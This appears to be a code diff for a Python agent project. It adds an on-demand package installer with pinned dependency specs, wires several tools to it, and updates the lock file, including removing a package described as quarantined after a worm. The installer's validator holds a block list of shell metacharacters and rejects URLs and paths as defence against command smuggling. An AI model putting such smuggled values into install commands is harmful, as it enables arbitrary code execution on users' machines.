LAZY_DEPS: dict[str, tuple[str, ...]] = {
|
||||||
|
# ─── Inference providers ───────────────────────────────────────────────
|
||||||
|
# Native Anthropic SDK — needed when provider=anthropic (not via
|
||||||
|
# OpenRouter / aggregators which use the openai SDK).
|
||||||
|
"provider.anthropic": ("anthropic==0.86.0",),
|
||||||
|
# AWS Bedrock provider
|
||||||
|
"provider.bedrock": ("boto3==1.42.89",),
|
||||||
|
|
||||||
|
# ─── Web search backends ───────────────────────────────────────────────
|
||||||
|
"search.exa": ("exa-py==2.10.2",),
|
||||||
|
"search.firecrawl": ("firecrawl-py==4.17.0",),
|
||||||
|
"search.parallel": ("parallel-web==0.4.2",),
|
||||||
|
|
||||||
|
# ─── TTS providers ─────────────────────────────────────────────────────
|
||||||
|
# Pinned to exact versions to match pyproject.toml's no-ranges policy
|
||||||
|
# (see comment at top of [project.dependencies]). When bumping, update
|
||||||
|
# both this map AND the corresponding extra in pyproject.toml.
|
||||||
|
#
|
||||||
|
# NOTE: tts.mistral / stt.mistral entries are intentionally absent —
|
||||||
|
# the `mistralai` PyPI project is quarantined as of 2026-05-12 (Mini
|
||||||
|
# Shai-Hulud worm). Re-add when PyPI restores a clean release; see
|
||||||
|
# comment in pyproject.toml above the (removed) `mistral` extra for
|
||||||
|
# the full restoration checklist.
|
||||||
|
"tts.edge": ("edge-tts==7.2.7",),
|
||||||
|
"tts.elevenlabs": ("elevenlabs==1.59.0",),
|
||||||
|
|
||||||
|
# ─── Speech-to-text providers ──────────────────────────────────────────
|
||||||
|
"stt.faster_whisper": (
|
||||||
|
"faster-whisper==1.2.1",
|
||||||
|
"sounddevice==0.5.5",
|
||||||
|
"numpy==2.4.3",
|
||||||
|
),
|
||||||
|
|
||||||
|
# ─── Image generation backends ─────────────────────────────────────────
|
||||||
|
"image.fal": ("fal-client==0.13.1",),
|
||||||
|
|
||||||
|
# ─── Memory providers ──────────────────────────────────────────────────
|
||||||
|
"memory.honcho": ("honcho-ai==2.0.1",),
|
||||||
|
"memory.hindsight": ("hindsight-client==0.6.1",),
|
||||||
|
|
||||||
|
# ─── Messaging platforms (lazy-installable on demand) ──────────────────
|
||||||
|
"platform.telegram": ("python-telegram-bot[webhooks]==22.6",),
|
||||||
|
"platform.discord": ("discord.py[voice]==2.7.1",),
|
||||||
|
"platform.slack": (
|
||||||
|
"slack-bolt==1.27.0",
|
||||||
|
"slack-sdk==3.40.1",
|
||||||
|
),
|
||||||
|
"platform.matrix": (
|
||||||
|
"mautrix[encryption]==0.21.0",
|
||||||
|
"Markdown==3.10.2",
|
||||||
|
"aiosqlite==0.22.1",
|
||||||
|
"asyncpg==0.31.0",
|
||||||
|
"aiohttp-socks==0.11.0",
|
||||||
|
),
|
||||||
|
"platform.dingtalk": (
|
||||||
|
"dingtalk-stream==0.24.3",
|
||||||
|
"alibabacloud-dingtalk==2.2.42",
|
||||||
|
"qrcode==7.4.2",
|
||||||
|
),
|
||||||
|
"platform.feishu": (
|
||||||
|
"lark-oapi==1.5.3",
|
||||||
|
"qrcode==7.4.2",
|
||||||
|
),
|
||||||
|
|
||||||
|
# ─── Terminal backends ─────────────────────────────────────────────────
|
||||||
|
"terminal.modal": ("modal==1.3.4",),
|
||||||
|
"terminal.daytona": ("daytona==0.155.0",),
|
||||||
|
"terminal.vercel": ("vercel==0.5.7",),
|
||||||
|
|
||||||
|
# ─── Skills ────────────────────────────────────────────────────────────
|
||||||
|
"skill.google_workspace": (
|
||||||
|
"google-api-python-client==2.194.0",
|
||||||
|
"google-auth-oauthlib==1.3.1",
|
||||||
|
"google-auth-httplib2==0.3.1",
|
||||||
|
),
|
||||||
|
"skill.youtube": ("youtube-transcript-api==1.2.4",),
|
||||||
|
|
||||||
|
# ─── Tools ─────────────────────────────────────────────────────────────
|
||||||
|
# ACP adapter (VS Code / Zed / JetBrains integration)
|
||||||
|
"tool.acp": ("agent-client-protocol==0.9.0",),
|
||||||
|
# Dashboard (`hermes dashboard`)
|
||||||
|
"tool.dashboard": (
|
||||||
|
"fastapi==0.133.1",
|
||||||
|
"uvicorn[standard]==0.41.0",
|
||||||
|
),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# Conservative regex for spec validation — package name plus optional
|
||||||
|
# version range. Reject anything that looks like a URL, file path, or shell
|
||||||
|
# metacharacter.
|
||||||
|
_SAFE_SPEC = re.compile(
|
||||||
|
r"^[A-Za-z0-9_][A-Za-z0-9_.\-]*" # package name
|
||||||
|
r"(?:\[[A-Za-z0-9_,\-]+\])?" # optional [extras]
|
||||||
|
r"(?:[<>=!~]=?[A-Za-z0-9_.\-+,*<>=!~]+)?" # optional version specifier
|
||||||
|
r"$"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class FeatureUnavailable(RuntimeError):
|
||||||
|
"""A lazily-installable feature is missing and cannot be made available.
|
||||||
|
|
||||||
|
Either the deps were never installed and the user has disabled lazy
|
||||||
|
installs, or the install attempt failed.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, feature: str, missing: tuple[str, ...], reason: str):
|
||||||
|
self.feature = feature
|
||||||
|
self.missing = missing
|
||||||
|
self.reason = reason
|
||||||
|
super().__init__(self._format())
|
||||||
|
|
||||||
|
def _format(self) -> str:
|
||||||
|
spec_list = " ".join(repr(s) for s in self.missing)
|
||||||
|
return (
|
||||||
|
f"Feature {self.feature!r} unavailable: {self.reason}. "
|
||||||
|
f"To enable manually: uv pip install {spec_list} "
|
||||||
|
f"(or: pip install {spec_list})."
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class _InstallResult:
|
||||||
|
success: bool
|
||||||
|
stdout: str
|
||||||
|
stderr: str
|
||||||
|
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Internals
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
|
||||||
|
def _allow_lazy_installs() -> bool:
|
||||||
|
"""Return the ``security.allow_lazy_installs`` config flag.
|
||||||
|
|
||||||
|
Defaults to True. If config is unreadable we fail open (allow), because
|
||||||
|
refusing to install would lock people out of their own backends; the
|
||||||
|
decision to block is an explicit user opt-in.
|
||||||
|
"""
|
||||||
|
if os.environ.get("HERMES_DISABLE_LAZY_INSTALLS") == "1":
|
||||||
|
return False
|
||||||
|
try:
|
||||||
|
from hermes_cli.config import load_config
|
||||||
|
cfg = load_config()
|
||||||
|
except Exception:
|
||||||
|
return True
|
||||||
|
sec = cfg.get("security") or {}
|
||||||
|
val = sec.get("allow_lazy_installs", True)
|
||||||
|
return bool(val)
|
||||||
|
|
||||||
|
|
||||||
|
def _spec_is_safe(spec: str) -> bool:
|
||||||
|
"""Reject pip specs that contain URLs, paths, or shell metacharacters."""
|
||||||
|
if not spec or len(spec) > 200:
|
||||||
|
return False
|
||||||
|
if any(ch in spec for ch in (";", "|", "&", "`", "$", "\n", "\r", "\t", "\\")):
|
||||||
|
return False
|
||||||
|
if spec.startswith(("-", "/", ".")) or "://" in spec or "@" in spec:
|
||||||
|
return False
|
||||||
|
return bool(_SAFE_SPEC.match(spec))
|
||||||
|
|
||||||
|
|
||||||
|
def _pkg_name_from_spec(spec: str) -> str:
|
||||||
|
"""Extract the bare package name from a pip spec.
|
||||||
|
|
||||||
|
``"slack-bolt>=1.18.0,<2"`` → ``"slack-bolt"``
|
||||||
|
``"mautrix[encryption]>=0.20"`` → ``"mautrix"``
|
||||||
|
"""
|
||||||
|
m = re.match(r"^([A-Za-z0-9_][A-Za-z0-9_.\-]*)", spec)
|
||||||
|
return m.group(1) if m else spec
|
||||||
|
|
||||||
|
|
||||||
|
def _is_satisfied(spec: str) -> bool:
|
||||||
|
"""Best-effort check: is ``spec`` already satisfied in the current env?
|
||||||
|
|
||||||
|
We don't enforce the version range — if the package is importable
|
||||||
|
we assume the user knows what they're doing. This matches how the
|
||||||
|
lazy-import sites already behave.
|
||||||
|
"""
|
||||||
|
pkg = _pkg_name_from_spec(spec)
|
||||||
|
try:
|
||||||
|
from importlib.metadata import PackageNotFoundError, version
|
||||||
|
except ImportError:
|
||||||
|
return False
|
||||||
|
try:
|
||||||
|
version(pkg)
|
||||||
|
return True
|
||||||
|
except PackageNotFoundError:
|
||||||
|
return False
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def _venv_pip_install(specs: tuple[str, ...], *, timeout: int = 300) -> _InstallResult:
|
||||||
|
"""Install ``specs`` into the active venv using uv → pip → ensurepip ladder.
|
||||||
|
|
||||||
|
Mirrors the strategy in ``hermes_cli.tools_config._pip_install`` but
|
||||||
|
kept independent here so this module has no CLI dependency.
|
||||||
|
"""
|
||||||
|
if not specs:
|
||||||
|
return _InstallResult(True, "", "")
|
||||||
|
|
||||||
|
venv_root = Path(sys.executable).parent.parent
|
||||||
|
uv_env = {**os.environ, "VIRTUAL_ENV": str(venv_root)}
|
||||||
|
|
||||||
|
# Tier 1: uv (preferred — fast, doesn't need pip in the venv)
|
||||||
|
uv_bin = shutil.which("uv")
|
||||||
|
if uv_bin:
|
||||||
|
try:
|
||||||
|
r = subprocess.run(
|
||||||
|
[uv_bin, "pip", "install", *specs],
|
||||||
|
capture_output=True, text=True, timeout=timeout, env=uv_env,
|
||||||
|
)
|
||||||
|
if r.returncode == 0:
|
||||||
|
return _InstallResult(True, r.stdout or "", r.stderr or "")
|
||||||
|
logger.debug("uv pip install failed: %s", r.stderr)
|
||||||
|
except (subprocess.TimeoutExpired, FileNotFoundError) as e:
|
||||||
|
logger.debug("uv invocation failed: %s", e)
|
||||||
|
|
||||||
|
# Tier 2: python -m pip (with ensurepip bootstrap if needed)
|
||||||
|
pip_cmd = [sys.executable, "-m", "pip"]
|
||||||
|
try:
|
||||||
|
probe = subprocess.run(
|
||||||
|
pip_cmd + ["--version"],
|
||||||
|
capture_output=True, text=True, timeout=15,
|
||||||
|
)
|
||||||
|
if probe.returncode != 0:
|
||||||
|
raise FileNotFoundError("pip not in venv")
|
||||||
|
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||||
|
try:
|
||||||
|
subprocess.run(
|
||||||
|
[sys.executable, "-m", "ensurepip", "--upgrade", "--default-pip"],
|
||||||
|
capture_output=True, text=True, timeout=120, check=True,
|
||||||
|
)
|
||||||
|
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as e:
|
||||||
|
return _InstallResult(False, "",
|
||||||
|
f"pip not available and ensurepip failed: {e}")
|
||||||
|
|
||||||
|
try:
|
||||||
|
r = subprocess.run(
|
||||||
|
pip_cmd + ["install", *specs],
|
||||||
|
capture_output=True, text=True, timeout=timeout,
|
||||||
|
)
|
||||||
|
return _InstallResult(r.returncode == 0, r.stdout or "", r.stderr or "")
|
||||||
|
except subprocess.TimeoutExpired as e:
|
||||||
|
return _InstallResult(False, "", f"pip install timed out: {e}")
|
||||||
|
except Exception as e:
|
||||||
|
return _InstallResult(False, "", f"pip install failed: {e}")
|
||||||
|
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Public API
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
|
||||||
|
def feature_specs(feature: str) -> tuple[str, ...]:
|
||||||
|
"""Return the registered specs for a feature, or raise KeyError."""
|
||||||
|
if feature not in LAZY_DEPS:
|
||||||
|
raise KeyError(f"Unknown lazy feature: {feature!r}")
|
||||||
|
return LAZY_DEPS[feature]
|
||||||
|
|
||||||
|
|
||||||
|
def feature_missing(feature: str) -> tuple[str, ...]:
|
||||||
|
"""Return the subset of specs for ``feature`` not currently installed."""
|
||||||
|
return tuple(s for s in feature_specs(feature) if not _is_satisfied(s))
|
||||||
|
|
||||||
|
|
||||||
|
def ensure(feature: str, *, prompt: bool = True) -> None:
|
||||||
|
"""Make sure all packages for ``feature`` are importable.
|
||||||
|
|
||||||
|
If they're missing, attempts to install them in the active venv. Raises
|
||||||
|
:class:`FeatureUnavailable` if the user has disabled lazy installs or
|
||||||
|
if the install attempt fails.
|
||||||
|
|
||||||
|
``prompt``: when True (default) and stdin is a TTY, asks the user to
|
||||||
|
confirm before installing. Non-interactive callers (gateway, cron,
|
||||||
|
batch) get prompt=False and skip the confirmation — config flag is
|
||||||
|
the gate in that case.
|
||||||
|
"""
|
||||||
|
if feature not in LAZY_DEPS:
|
||||||
|
raise FeatureUnavailable(
|
||||||
|
feature, (), f"feature {feature!r} not in LAZY_DEPS allowlist"
|
||||||
|
)
|
||||||
|
|
||||||
|
missing = feature_missing(feature)
|
||||||
|
if not missing:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Validate every spec against the allowlist + safety regex. Belt and
|
||||||
|
# braces — the keys-in-LAZY_DEPS check above already constrains this.
|
||||||
|
for spec in missing:
|
||||||
|
if not _spec_is_safe(spec):
|
||||||
|
raise FeatureUnavailable(
|
||||||
|
feature, missing,
|
||||||
|
f"refusing to install unsafe spec {spec!r}"
|
||||||
|
)
|
||||||
|
|
||||||
|
if not _allow_lazy_installs():
|
||||||
|
raise FeatureUnavailable(
|
||||||
|
feature, missing,
|
||||||
|
"lazy installs disabled (security.allow_lazy_installs=false)"
|
||||||
|
)
|
||||||
|
|
||||||
|
if prompt and sys.stdin.isatty() and sys.stdout.isatty():
|
||||||
|
spec_list = ", ".join(missing)
|
||||||
|
try:
|
||||||
|
answer = input(
|
||||||
|
f"\nFeature {feature!r} requires: {spec_list}\n"
|
||||||
|
f"Install into the active venv now? [Y/n] "
|
||||||
|
).strip().lower()
|
||||||
|
except (EOFError, KeyboardInterrupt):
|
||||||
|
answer = "n"
|
||||||
|
if answer and answer not in ("y", "yes"):
|
||||||
|
raise FeatureUnavailable(
|
||||||
|
feature, missing, "user declined install at prompt"
|
||||||
|
)
|
||||||
|
|
||||||
|
logger.info("Lazy-installing %s for feature %r", " ".join(missing), feature)
|
||||||
|
result = _venv_pip_install(missing)
|
||||||
|
if not result.success:
|
||||||
|
# Surface the actual pip error so the user can debug PyPI-side
|
||||||
|
# issues (404 quarantine, network down, etc.).
|
||||||
|
snippet = (result.stderr or result.stdout or "").strip()
|
||||||
|
if snippet:
|
||||||
|
# Clip to a readable size — pip can dump pages of resolution traces.
|
||||||
|
snippet = snippet[-2000:]
|
||||||
|
raise FeatureUnavailable(
|
||||||
|
feature, missing,
|
||||||
|
f"pip install failed: {snippet or 'no error output'}"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Verify post-install. importlib.metadata caches per-process, so if we
|
||||||
|
# just installed something the cache may not see it without a refresh.
|
||||||
|
try:
|
||||||
|
import importlib.metadata as _md
|
||||||
|
if hasattr(_md, "_cache_clear"):
|
||||||
|
_md._cache_clear() # type: ignore[attr-defined]
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
still_missing = feature_missing(feature)
|
||||||
|
if still_missing:
|
||||||
|
raise FeatureUnavailable(
|
||||||
|
feature, still_missing,
|
||||||
|
"install reported success but packages still not importable "
|
||||||
|
"(may require Python restart)"
|
||||||
|
)
|
||||||
|
|
||||||
|
logger.info("Lazy install complete for feature %r", feature)
|
||||||
|
|
||||||
|
|
||||||
|
def is_available(feature: str) -> bool:
|
||||||
|
"""Return True if the feature's deps are already satisfied."""
|
||||||
|
if feature not in LAZY_DEPS:
|
||||||
|
return False
|
||||||
|
return not feature_missing(feature)
|
||||||
|
|
||||||
|
|
||||||
|
def feature_install_command(feature: str) -> Optional[str]:
|
||||||
|
"""Return the ``pip install`` command a user could run manually, or None."""
|
||||||
|
if feature not in LAZY_DEPS:
|
||||||
|
return None
|
||||||
|
specs = LAZY_DEPS[feature]
|
||||||
|
return "uv pip install " + " ".join(repr(s) for s in specs)
|
||||||
|
|
@ -80,11 +80,34 @@ from tools.xai_http import hermes_xai_user_agent
|
||||||
|
|
||||||
def _import_edge_tts():
|
def _import_edge_tts():
|
||||||
"""Lazy import edge_tts. Returns the module or raises ImportError."""
|
"""Lazy import edge_tts. Returns the module or raises ImportError."""
|
||||||
|
try:
|
||||||
|
from tools.lazy_deps import ensure as _lazy_ensure
|
||||||
|
_lazy_ensure("tts.edge", prompt=False)
|
||||||
|
except ImportError:
|
||||||
|
pass
|
||||||
|
except Exception as e:
|
||||||
|
raise ImportError(str(e))
|
||||||
import edge_tts
|
import edge_tts
|
||||||
return edge_tts
|
return edge_tts
|
||||||
|
|
||||||
def _import_elevenlabs():
|
def _import_elevenlabs():
|
||||||
"""Lazy import ElevenLabs client. Returns the class or raises ImportError."""
|
"""Lazy import ElevenLabs client. Returns the class or raises ImportError.
|
||||||
|
|
||||||
|
Calls :func:`tools.lazy_deps.ensure` first so the SDK gets installed on
|
||||||
|
demand if the user picked ElevenLabs as their TTS provider but never ran
|
||||||
|
the post-setup hook (e.g. enabled it by editing config.yaml directly).
|
||||||
|
Raises ``ImportError`` on lazy-install failure so existing callers'
|
||||||
|
error-handling paths keep working.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
from tools.lazy_deps import FeatureUnavailable, ensure
|
||||||
|
ensure("tts.elevenlabs", prompt=False)
|
||||||
|
except ImportError:
|
||||||
|
# lazy_deps module itself missing — fall through to the raw import
|
||||||
|
# so older code paths still get a clean ImportError.
|
||||||
|
pass
|
||||||
|
except Exception as e: # FeatureUnavailable or any unexpected error
|
||||||
|
raise ImportError(str(e))
|
||||||
from elevenlabs.client import ElevenLabs
|
from elevenlabs.client import ElevenLabs
|
||||||
return ElevenLabs
|
return ElevenLabs
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -64,6 +64,13 @@ def _load_firecrawl_cls() -> type:
|
||||||
"""Import and cache ``firecrawl.Firecrawl``."""
|
"""Import and cache ``firecrawl.Firecrawl``."""
|
||||||
global _FIRECRAWL_CLS_CACHE
|
global _FIRECRAWL_CLS_CACHE
|
||||||
if _FIRECRAWL_CLS_CACHE is None:
|
if _FIRECRAWL_CLS_CACHE is None:
|
||||||
|
try:
|
||||||
|
from tools.lazy_deps import ensure as _lazy_ensure
|
||||||
|
_lazy_ensure("search.firecrawl", prompt=False)
|
||||||
|
except ImportError:
|
||||||
|
pass
|
||||||
|
except Exception as e:
|
||||||
|
raise ImportError(str(e))
|
||||||
from firecrawl import Firecrawl as _cls
|
from firecrawl import Firecrawl as _cls
|
||||||
_FIRECRAWL_CLS_CACHE = _cls
|
_FIRECRAWL_CLS_CACHE = _cls
|
||||||
return _FIRECRAWL_CLS_CACHE
|
return _FIRECRAWL_CLS_CACHE
|
||||||
|
|
@ -358,6 +365,13 @@ def _get_parallel_client():
|
||||||
|
|
||||||
Requires PARALLEL_API_KEY environment variable.
|
Requires PARALLEL_API_KEY environment variable.
|
||||||
"""
|
"""
|
||||||
|
try:
|
||||||
|
from tools.lazy_deps import ensure as _lazy_ensure
|
||||||
|
_lazy_ensure("search.parallel", prompt=False)
|
||||||
|
except ImportError:
|
||||||
|
pass
|
||||||
|
except Exception as e:
|
||||||
|
raise ImportError(str(e))
|
||||||
from parallel import Parallel
|
from parallel import Parallel
|
||||||
global _parallel_client
|
global _parallel_client
|
||||||
if _parallel_client is None:
|
if _parallel_client is None:
|
||||||
|
|
@ -376,6 +390,13 @@ def _get_async_parallel_client():
|
||||||
|
|
||||||
Requires PARALLEL_API_KEY environment variable.
|
Requires PARALLEL_API_KEY environment variable.
|
||||||
"""
|
"""
|
||||||
|
try:
|
||||||
|
from tools.lazy_deps import ensure as _lazy_ensure
|
||||||
|
_lazy_ensure("search.parallel", prompt=False)
|
||||||
|
except ImportError:
|
||||||
|
pass
|
||||||
|
except Exception as e:
|
||||||
|
raise ImportError(str(e))
|
||||||
from parallel import AsyncParallel
|
from parallel import AsyncParallel
|
||||||
global _async_parallel_client
|
global _async_parallel_client
|
||||||
if _async_parallel_client is None:
|
if _async_parallel_client is None:
|
||||||
|
|
@ -990,6 +1011,13 @@ def _get_exa_client():
|
||||||
|
|
||||||
Requires EXA_API_KEY environment variable.
|
Requires EXA_API_KEY environment variable.
|
||||||
"""
|
"""
|
||||||
|
try:
|
||||||
|
from tools.lazy_deps import ensure as _lazy_ensure
|
||||||
|
_lazy_ensure("search.exa", prompt=False)
|
||||||
|
except ImportError:
|
||||||
|
pass
|
||||||
|
except Exception as e:
|
||||||
|
raise ImportError(str(e))
|
||||||
from exa_py import Exa
|
from exa_py import Exa
|
||||||
global _exa_client
|
global _exa_client
|
||||||
if _exa_client is None:
|
if _exa_client is None:
|
||||||
|
|
|
||||||
235
uv.lock
generated
235
uv.lock
generated
|
|
@ -1394,15 +1394,6 @@ wheels = [
|
||||||
{ url = "https://files.pythonhosted.org/packages/97/a8/c070e1340636acb38d4e6a7e45c46d168a462b48b9b3257e14ca0e5af79b/environs-14.6.0-py3-none-any.whl", hash = "sha256:f8fb3d6c6a55872b0c6db077a28f5a8c7b8984b7c32029613d44cef95cfc0812", size = 17205, upload-time = "2026-02-20T04:02:07.299Z" },
|
{ url = "https://files.pythonhosted.org/packages/97/a8/c070e1340636acb38d4e6a7e45c46d168a462b48b9b3257e14ca0e5af79b/environs-14.6.0-py3-none-any.whl", hash = "sha256:f8fb3d6c6a55872b0c6db077a28f5a8c7b8984b7c32029613d44cef95cfc0812", size = 17205, upload-time = "2026-02-20T04:02:07.299Z" },
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
|
||||||
name = "eval-type-backport"
|
|
||||||
version = "0.3.1"
|
|
||||||
source = { registry = "https://pypi.org/simple" }
|
|
||||||
sdist = { url = "https://files.pythonhosted.org/packages/fb/a3/cafafb4558fd638aadfe4121dc6cefb8d743368c085acb2f521df0f3d9d7/eval_type_backport-0.3.1.tar.gz", hash = "sha256:57e993f7b5b69d271e37482e62f74e76a0276c82490cf8e4f0dffeb6b332d5ed", size = 9445, upload-time = "2025-12-02T11:51:42.987Z" }
|
|
||||||
wheels = [
|
|
||||||
{ url = "https://files.pythonhosted.org/packages/cf/22/fdc2e30d43ff853720042fa15baa3e6122722be1a7950a98233ebb55cd71/eval_type_backport-0.3.1-py3-none-any.whl", hash = "sha256:279ab641905e9f11129f56a8a78f493518515b83402b860f6f06dd7c011fdfa8", size = 6063, upload-time = "2025-12-02T11:51:41.665Z" },
|
|
||||||
]
|
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "exa-py"
|
name = "exa-py"
|
||||||
version = "2.10.2"
|
version = "2.10.2"
|
||||||
|
|
@ -1962,17 +1953,11 @@ name = "hermes-agent"
|
||||||
version = "0.13.0"
|
version = "0.13.0"
|
||||||
source = { editable = "." }
|
source = { editable = "." }
|
||||||
dependencies = [
|
dependencies = [
|
||||||
{ name = "anthropic" },
|
|
||||||
{ name = "croniter" },
|
{ name = "croniter" },
|
||||||
{ name = "edge-tts" },
|
|
||||||
{ name = "exa-py" },
|
|
||||||
{ name = "fal-client" },
|
|
||||||
{ name = "fire" },
|
{ name = "fire" },
|
||||||
{ name = "firecrawl-py" },
|
|
||||||
{ name = "httpx", extra = ["socks"] },
|
{ name = "httpx", extra = ["socks"] },
|
||||||
{ name = "jinja2" },
|
{ name = "jinja2" },
|
||||||
{ name = "openai" },
|
{ name = "openai" },
|
||||||
{ name = "parallel-web" },
|
|
||||||
{ name = "prompt-toolkit" },
|
{ name = "prompt-toolkit" },
|
||||||
{ name = "psutil" },
|
{ name = "psutil" },
|
||||||
{ name = "pydantic" },
|
{ name = "pydantic" },
|
||||||
|
|
@ -1996,15 +1981,20 @@ all = [
|
||||||
{ name = "aiohttp-socks", marker = "sys_platform == 'linux'" },
|
{ name = "aiohttp-socks", marker = "sys_platform == 'linux'" },
|
||||||
{ name = "aiosqlite", marker = "sys_platform == 'linux'" },
|
{ name = "aiosqlite", marker = "sys_platform == 'linux'" },
|
||||||
{ name = "alibabacloud-dingtalk" },
|
{ name = "alibabacloud-dingtalk" },
|
||||||
|
{ name = "anthropic" },
|
||||||
{ name = "asyncpg", marker = "sys_platform == 'linux'" },
|
{ name = "asyncpg", marker = "sys_platform == 'linux'" },
|
||||||
{ name = "boto3" },
|
{ name = "boto3" },
|
||||||
{ name = "daytona" },
|
{ name = "daytona" },
|
||||||
{ name = "debugpy" },
|
{ name = "debugpy" },
|
||||||
{ name = "dingtalk-stream" },
|
{ name = "dingtalk-stream" },
|
||||||
{ name = "discord-py", extra = ["voice"] },
|
{ name = "discord-py", extra = ["voice"] },
|
||||||
|
{ name = "edge-tts" },
|
||||||
{ name = "elevenlabs" },
|
{ name = "elevenlabs" },
|
||||||
|
{ name = "exa-py" },
|
||||||
|
{ name = "fal-client" },
|
||||||
{ name = "fastapi" },
|
{ name = "fastapi" },
|
||||||
{ name = "faster-whisper" },
|
{ name = "faster-whisper" },
|
||||||
|
{ name = "firecrawl-py" },
|
||||||
{ name = "google-api-python-client" },
|
{ name = "google-api-python-client" },
|
||||||
{ name = "google-auth-httplib2" },
|
{ name = "google-auth-httplib2" },
|
||||||
{ name = "google-auth-oauthlib" },
|
{ name = "google-auth-oauthlib" },
|
||||||
|
|
@ -2013,9 +2003,9 @@ all = [
|
||||||
{ name = "markdown", marker = "sys_platform == 'linux'" },
|
{ name = "markdown", marker = "sys_platform == 'linux'" },
|
||||||
{ name = "mautrix", extra = ["encryption"], marker = "sys_platform == 'linux'" },
|
{ name = "mautrix", extra = ["encryption"], marker = "sys_platform == 'linux'" },
|
||||||
{ name = "mcp" },
|
{ name = "mcp" },
|
||||||
{ name = "mistralai" },
|
|
||||||
{ name = "modal" },
|
{ name = "modal" },
|
||||||
{ name = "numpy" },
|
{ name = "numpy" },
|
||||||
|
{ name = "parallel-web" },
|
||||||
{ name = "ptyprocess", marker = "sys_platform != 'win32'" },
|
{ name = "ptyprocess", marker = "sys_platform != 'win32'" },
|
||||||
{ name = "pytest" },
|
{ name = "pytest" },
|
||||||
{ name = "pytest-asyncio" },
|
{ name = "pytest-asyncio" },
|
||||||
|
|
@ -2034,6 +2024,9 @@ all = [
|
||||||
{ name = "vercel" },
|
{ name = "vercel" },
|
||||||
{ name = "youtube-transcript-api" },
|
{ name = "youtube-transcript-api" },
|
||||||
]
|
]
|
||||||
|
anthropic = [
|
||||||
|
{ name = "anthropic" },
|
||||||
|
]
|
||||||
bedrock = [
|
bedrock = [
|
||||||
{ name = "boto3" },
|
{ name = "boto3" },
|
||||||
]
|
]
|
||||||
|
|
@ -2061,10 +2054,22 @@ dingtalk = [
|
||||||
{ name = "dingtalk-stream" },
|
{ name = "dingtalk-stream" },
|
||||||
{ name = "qrcode" },
|
{ name = "qrcode" },
|
||||||
]
|
]
|
||||||
|
edge-tts = [
|
||||||
|
{ name = "edge-tts" },
|
||||||
|
]
|
||||||
|
exa = [
|
||||||
|
{ name = "exa-py" },
|
||||||
|
]
|
||||||
|
fal = [
|
||||||
|
{ name = "fal-client" },
|
||||||
|
]
|
||||||
feishu = [
|
feishu = [
|
||||||
{ name = "lark-oapi" },
|
{ name = "lark-oapi" },
|
||||||
{ name = "qrcode" },
|
{ name = "qrcode" },
|
||||||
]
|
]
|
||||||
|
firecrawl = [
|
||||||
|
{ name = "firecrawl-py" },
|
||||||
|
]
|
||||||
google = [
|
google = [
|
||||||
{ name = "google-api-python-client" },
|
{ name = "google-api-python-client" },
|
||||||
{ name = "google-auth-httplib2" },
|
{ name = "google-auth-httplib2" },
|
||||||
|
|
@ -2097,12 +2102,12 @@ messaging = [
|
||||||
{ name = "slack-bolt" },
|
{ name = "slack-bolt" },
|
||||||
{ name = "slack-sdk" },
|
{ name = "slack-sdk" },
|
||||||
]
|
]
|
||||||
mistral = [
|
|
||||||
{ name = "mistralai" },
|
|
||||||
]
|
|
||||||
modal = [
|
modal = [
|
||||||
{ name = "modal" },
|
{ name = "modal" },
|
||||||
]
|
]
|
||||||
|
parallel-web = [
|
||||||
|
{ name = "parallel-web" },
|
||||||
|
]
|
||||||
pty = [
|
pty = [
|
||||||
{ name = "ptyprocess", marker = "sys_platform != 'win32'" },
|
{ name = "ptyprocess", marker = "sys_platform != 'win32'" },
|
||||||
{ name = "pywinpty", marker = "sys_platform == 'win32'" },
|
{ name = "pywinpty", marker = "sys_platform == 'win32'" },
|
||||||
|
|
@ -2145,7 +2150,6 @@ termux-all = [
|
||||||
{ name = "honcho-ai" },
|
{ name = "honcho-ai" },
|
||||||
{ name = "lark-oapi" },
|
{ name = "lark-oapi" },
|
||||||
{ name = "mcp" },
|
{ name = "mcp" },
|
||||||
{ name = "mistralai" },
|
|
||||||
{ name = "ptyprocess", marker = "sys_platform != 'win32'" },
|
{ name = "ptyprocess", marker = "sys_platform != 'win32'" },
|
||||||
{ name = "python-telegram-bot", extra = ["webhooks"] },
|
{ name = "python-telegram-bot", extra = ["webhooks"] },
|
||||||
{ name = "pywinpty", marker = "sys_platform == 'win32'" },
|
{ name = "pywinpty", marker = "sys_platform == 'win32'" },
|
||||||
|
|
@ -2179,36 +2183,37 @@ youtube = [
|
||||||
|
|
||||||
[package.metadata]
|
[package.metadata]
|
||||||
requires-dist = [
|
requires-dist = [
|
||||||
{ name = "agent-client-protocol", marker = "extra == 'acp'", specifier = ">=0.9.0,<1.0" },
|
{ name = "agent-client-protocol", marker = "extra == 'acp'", specifier = "==0.9.0" },
|
||||||
{ name = "aiohttp", marker = "extra == 'homeassistant'", specifier = ">=3.9.0,<4" },
|
{ name = "aiohttp", marker = "extra == 'homeassistant'", specifier = "==3.13.3" },
|
||||||
{ name = "aiohttp", marker = "extra == 'messaging'", specifier = ">=3.13.3,<4" },
|
{ name = "aiohttp", marker = "extra == 'messaging'", specifier = "==3.13.3" },
|
||||||
{ name = "aiohttp", marker = "extra == 'sms'", specifier = ">=3.9.0,<4" },
|
{ name = "aiohttp", marker = "extra == 'sms'", specifier = "==3.13.3" },
|
||||||
{ name = "aiohttp-socks", marker = "extra == 'matrix'", specifier = ">=0.10,<1" },
